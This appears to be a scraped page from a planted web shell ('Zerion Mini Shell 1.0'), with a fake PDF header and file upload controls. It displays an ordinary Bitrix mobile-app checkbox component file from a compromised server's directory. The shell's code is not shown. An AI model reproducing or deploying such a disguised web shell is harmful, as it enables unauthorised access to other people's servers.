%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/mobileapp.interface.checkboxes/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/components/bitrix/mobileapp.interface.checkboxes/component.php

<?
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true) die();

/*sample data
$arParams = array(
	"ITEMS" => array(
		"1" =>"first checkbox",
		"2" =>"second checkbox",
		"3" =>"fird checkbox"
		),
	"CHECKED" => array("1","3");
	"TITLE" => "Checkboxes titles",
	"JS_EVENT_TAKE_CHECKBOXES_VALUES" => "onTakeCheckboxesValues",
	"JS_RESULT_HANDLER" => "resultHandlerFunction",
	"DOM_CONTAINER_ID" => "cb_container"
);

*/

if(!isset($arParams["ITEMS"]) || empty($arParams["ITEMS"]) || !is_array($arParams["ITEMS"]))
	return;

$arResult["TITLE"] = $arParams["TITLE"] ? $arParams["TITLE"] : false;
$arResult["DOM_CONTAINER_ID"] = $arParams["DOM_CONTAINER_ID"] ? $arParams["DOM_CONTAINER_ID"] : "ma_cb_".rand();
$arResult["CHECKED"] = $arParams["CHECKED"] && is_array($arParams["CHECKED"]) ? $arParams["CHECKED"] : array();
$arResult["NAME"] = $arParams["NAME"] ? $arParams["NAME"] : "cb_name_".rand();

if(isset($arParams["NOWRAP"]) && $arParams["NOWRAP"] == 'Y')
	$tmplPage = 'nowrap';
else
	$tmplPage = 'template';

$this->IncludeComponentTemplate($tmplPage);
?>

Zerion Mini Shell 1.0